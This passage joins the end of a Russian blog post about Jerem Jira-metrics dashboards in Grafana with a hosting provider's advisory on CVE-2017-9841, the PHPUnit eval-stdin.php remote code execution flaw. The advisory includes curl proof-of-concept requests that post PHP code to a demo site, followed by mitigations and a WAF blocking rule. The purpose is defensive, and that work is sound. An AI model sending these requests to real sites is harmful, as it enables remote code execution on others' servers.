  • jerem.jira.impediment.total.created: время, затраченное с даты создания на устранение препятствия. Это позволяет нам получить общее количество препятствий. Мы также можем записывать все действия с препятствиями, даже вне спринтов.

Для одного проекта Jira, как в нашем примере, вы можете ожидать около 300 показателей. Это может увеличиваться в зависимости от эпика, который вы создаете и помечаете в Jira, и того, который вы закрываете.

Панель управления Grafana

Нам нравится создавать информационные панели Grafana! Они дают команде и менеджеру много информации о ключевых показателях эффективности. Лучшее в этом для меня, как разработчика, — это то, что я понимаю, почему хорошо выполнять задачу JIRA!

На нашей первой панели управления Grafana вы найдете все лучшие KPI для управления программами. Начнем с глобального обзора:

Обзор квартальных данных



Здесь вы найдете текущую эпопею. Вы также найдете глобальные ключевые показатели эффективности команды, такие как предсказуемость, скорость и статистика препятствий. Здесь происходит волшебство! При правильном заполнении эта панель инструментов точно покажет вам, что ваша команда должна выполнить в текущем квартале. Это означает, что у вас есть быстрый доступ ко всем актуальным темам. Вы также сможете увидеть, не ожидается ли, что ваша команда будет работать по слишком большому количеству вопросов, чтобы вы могли быстро принять меры и отложить некоторые из новых функций.

Данные активного спринта



Активная панель данных спринта часто оказывается отличной поддержкой во время наших ежедневных встреч. На этой панели мы получаем краткий обзор достижений команды и можем установить время, потраченное на параллельные задачи.

Подробные данные



В последней части представлены более подробные данные. Используя переменную epic Grafana, мы можем проверять конкретные эпики, а также завершение более глобальных проектов. У вас также есть velocity chart, который отображает прошлый спринт и сравнивает ожидаемые баллы истории с фактически завершенными.

Панель управления Grafana доступна напрямую в проекте Jerem. Вы можете импортировать его прямо в Grafana, если у вас настроен действительный источник данных Warp 10.

Чтобы панель управления работала должным образом, вам необходимо настроить переменную проекта Grafana в виде списка WarpScript [ 'SAN' 'OTHER-PROJECT' ]. Если наш программный менеджер может это сделать, я уверен, вы сможете!

Настройка Jerem и автоматическая загрузка данных управления программами дают нам много полезного. Мне как разработчику это очень нравится, и я быстро привык отслеживать в JIRA гораздо больше событий, чем раньше. Вы можете напрямую видеть влияние ваших задач. Например, вы видите, как быстро продвигается дорожная карта, и можете определить любые узкие места, которые создают препятствия. Затем эти узкие места становятся эпопеями. Другими словами, как только мы начинаем использовать Jerem, мы просто заполняем его автоматически! Надеюсь, вам тоже понравится! Если у вас есть отзывы, мы будем рады их услышать.

CVE-2017-9841: что это такое и как мы защищаем наших клиентов?

Недавно обнаруженное ранее нарушение безопасности CVE (Common Vulnerabilities and Exposures), CVE-2017-9841, снова привлекло внимание благодаря предупреждению системы безопасности PrestaShop. К сожалению, он уже некоторое время эксплуатируется «в дикой природе».



Какие риски?

CVE-2017-9841 Уязвимость позволяет злоумышленнику удаленно запускать PHP — код на несовершенных сайтов, эксплуатируя брешь в PHPUnit.

Это может позволить пользователю, например:

  • Доступ к конфиденциальному контенту на целевом веб-сайте (файлы, учетные данные базы данных, контент базы данных…)
  • Изменить содержимое файлов
  • Рассылать спам
  • Установить вредоносное ПО

Ниже вы найдете иллюстрацию того, как можно использовать эту уязвимость:

Установите уязвимую версию PHPUnit с помощью композитора


В этом примере мы предполагаем, что:

  • Composer уже установлен и присутствует в переменной среды PATH
  • DocumentRoot веб-сайта находится в $ {HOME} / www.
  • Доменное имя сайта demo-cve.ovh

$ composer --no-cache --working-dir=${HOME}/www require phpunit/phpunit 5.6.2
./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 26 installs, 0 updates, 0 removals
  - Installing symfony/polyfill-ctype (v1.13.1): Downloading (100%)         
  - Installing symfony/yaml (v3.4.36): Downloading (100%)         
  - Installing sebastian/version (2.0.1): Downloading (100%)         
  - Installing sebastian/resource-operations (1.0.0): Downloading (100%)         
  - Installing sebastian/recursion-context (1.0.5): Downloading (100%)         
  - Installing sebastian/object-enumerator (1.0.0): Downloading (100%)         
  - Installing sebastian/global-state (1.1.1): Downloading (100%)         
  - Installing sebastian/exporter (1.2.2): Downloading (100%)         
  - Installing sebastian/environment (2.0.0): Downloading (100%)         
  - Installing sebastian/diff (1.4.3): Downloading (100%)         
  - Installing sebastian/comparator (1.2.4): Downloading (100%)         
  - Installing doctrine/instantiator (1.3.0): Downloading (100%)         
  - Installing phpunit/php-text-template (1.2.1): Downloading (100%)         
  - Installing phpunit/phpunit-mock-objects (3.4.4): Downloading (100%)         
  - Installing phpunit/php-timer (1.0.9): Downloading (100%)         
  - Installing phpunit/php-file-iterator (1.4.5): Downloading (100%)         
  - Installing sebastian/code-unit-reverse-lookup (1.0.1): Downloading (100%)         
  - Installing phpunit/php-token-stream (2.0.2): Downloading (100%)         
  - Installing phpunit/php-code-coverage (4.0.8): Downloading (100%)         
  - Installing webmozart/assert (1.6.0): Downloading (100%)         
  - Installing phpdocumentor/reflection-common (2.0.0): Downloading (100%)         
  - Installing phpdocumentor/type-resolver (1.0.1): Downloading (100%)         
  - Installing phpdocumentor/reflection-docblock (4.3.4): Downloading (100%)         
  - Installing phpspec/prophecy (1.10.1): Downloading (100%)         
  - Installing myclabs/deep-copy (1.9.4): Downloading (100%)         
  - Installing phpunit/phpunit (5.6.2): Downloading (100%)         
symfony/yaml suggests installing symfony/console (For validating YAML files using the lint command)
sebastian/global-state suggests installing ext-uopz (*)
phpunit/php-code-coverage suggests installing ext-xdebug (^2.5.1)
phpunit/phpunit suggests installing phpunit/php-invoker (~1.1)
phpunit/phpunit suggests installing ext-xdebug (*)
Package phpunit/phpunit-mock-objects is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files


На удаленной машине мы воспользуемся уязвимостью и расшифруем текст в кодировке base64 с помощью PHP.

$ curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Имейте в виду, что уязвимость также может быть использована другими методами HTTP, кроме POST. Например:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPUT --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XDELETE --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XOPTIONS --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841

$ curl -XPATCH --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Hello World from CVE-2017-9841


Как видите, эксплойт довольно простой, но очень мощный. Легко представить, какой вред может произойти.

Как уменьшить уязвимость?

Изначально нарушение было исправлено PHPUnit, когда впервые была раскрыта CVE. Однако не все поставщики CMS (например, PrestaShop) обновили версию, включенную в процесс установки.

Более того, PHPUnit не предназначен для использования на критических путях обслуживания веб-страниц. Это означает, что нет случаев использования, когда PHPUnit должен быть доступен для внешних HTTP-запросов.

Так что исправить довольно просто: нужно сделать PHPUnit недоступным.

Если обновления CMS недоступны (или не могут быть применены), можно выполнить любое из следующих действий:

  • Удалите модуль PHPUnit:
    • Через композитор (если установка производилась с помощью композитора)

$ composer --working-dir=${HOME}/www remove phpunit/phpunit
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 0 installs, 0 updates, 26 removals
  - Removing webmozart/assert (1.6.0)
  - Removing symfony/yaml (v3.4.36)
  - Removing symfony/polyfill-ctype (v1.13.1)
  - Removing sebastian/version (2.0.1)
  - Removing sebastian/resource-operations (1.0.0)
  - Removing sebastian/recursion-context (1.0.5)
  - Removing sebastian/object-enumerator (1.0.0)
  - Removing sebastian/global-state (1.1.1)
  - Removing sebastian/exporter (1.2.2)
  - Removing sebastian/environment (2.0.0)
  - Removing sebastian/diff (1.4.3)
  - Removing sebastian/comparator (1.2.4)
  - Removing sebastian/code-unit-reverse-lookup (1.0.1)
  - Removing phpunit/phpunit-mock-objects (3.4.4)
  - Removing phpunit/phpunit (5.6.2)
  - Removing phpunit/php-token-stream (2.0.2)
  - Removing phpunit/php-timer (1.0.9)
  - Removing phpunit/php-text-template (1.2.1)
  - Removing phpunit/php-file-iterator (1.4.5)
  - Removing phpunit/php-code-coverage (4.0.8)
  - Removing phpspec/prophecy (1.10.1)
  - Removing phpdocumentor/type-resolver (1.0.1)
  - Removing phpdocumentor/reflection-docblock (4.3.4)
  - Removing phpdocumentor/reflection-common (2.0.0)
  - Removing myclabs/deep-copy (1.9.4)
  - Removing doctrine/instantiator (1.3.0)
Generating autoload files


  • Удалите установочную папку

$ rm -rf ${HOME}/www/vendor/phpunit


  • Блокировать HTTP-запросы к URL-адресу, достигающему модуля PHPUnit

$ cat << EOF > ${HOME}/www/.htaccess 
<IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteRule ^vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php$ - [F]
</IfModule>
EOF


  • Запретить HTTP-запросы, нацеленные на папку «vendor»

$ cat << EOF > ${HOME}/www/vendor/.htaccess
Require all denied
EOF


Как веб-хостинг OVHcloud защищает вас?

Клиенты OVHcloud Web Hosting чрезвычайно разнообразны, поэтому исправления могут потребовать слишком много времени, чтобы применить их на каждом отдельном веб-сайте.

Поэтому мы решили применить высокоуровневую защиту для платформ веб-хостинга OVHcloud.

Ниже вы найдете простую схему инфраструктуры веб-хостинга OVHcloud:



  • IPLB (балансировщики нагрузки OVHcloud) являются точкой входа в кластеры веб-хостинга. Они несут свои IP-адреса и заботятся об их высокой доступности и балансировке нагрузки. Они передают запросы в « WAF ».
  • WAF (брандмауэр веб-приложений) обрабатывает весь трафик и может действовать как фильтр. Они направляют запросы на веб-серверы . « WAF » — это серверы верхнего уровня в стеке кластера. Они также очень доступны.
  • Веб-серверы отвечают за обслуживание ресурсов и выполнение сред (PHP, Node.js…).

Чтобы защитить всех пользователей нашего веб-хостинга OVHcloud, мы решили заблокировать все запросы к /phpunit/src/Util/PHP/eval-stdin.php со стороны WAF до того, как они достигнут наших веб-серверов.

Технически наше решение WAF основано на Naxsi. Поэтому на практике мы добавили правило для сопоставления и отклонения всех запросов с шаблоном «/phpunit/src/Util/PHP/eval-stdin.php», которое охватывает все методы HTTP. Заблокированные запросы вызывают ошибку HTTP 503.

Итак, если мы попробуем использовать эксплойт на сайте, размещенном на платформах веб-хостинга OVHcloud, мы получим следующий результат:

$ curl -XGET --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' https://demo-cve.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
<html>
<head><title>503 Service Temporarily Unavailable</title></head> 
<body> 
<center><h1>503 Service Temporarily Unavailable</h1></center> 
<hr><center>nginx</center> 
</body> 
</html>


Ключевые цифры

Чтобы дать вам представление о масштабах этой атаки, мы заблокировали около 4,5 миллионов запросов, направленных на PHPUnit, за одну неделю, используя около 2000 различных шаблонов URL.
  • Запросы, заблокированные для каждого кластера в течение одного дня:




  • Самые популярные модели заблокированных запросов каждую неделю:



Некоторые лучшие практики

  • Если вы используете CMS, такую ​​как WordPress , PrestaShop , Drupal , Joomla! , или Ghost , обновляйте его компоненты (т. е. ядро ​​и плагины) и по возможности включайте автоматические обновления.
  • Используйте время выполнения (PHP, Node.js…), которое все еще поддерживается. Поддерживаемые версии PHP и версии, поддерживаемые Node.js , доступны по этим ссылкам.
  • Не устанавливайте «пакеты разработки» в производственной среде, если они вам не нужны.
  • Ограничьте доступ к ресурсам, которые не нужно размещать в Интернете. Папка «vendor» в Composer — хороший пример.
  • Иметь минимальные права доступа к файлам и папкам. Например, только некоторые из них должны быть доступны для записи.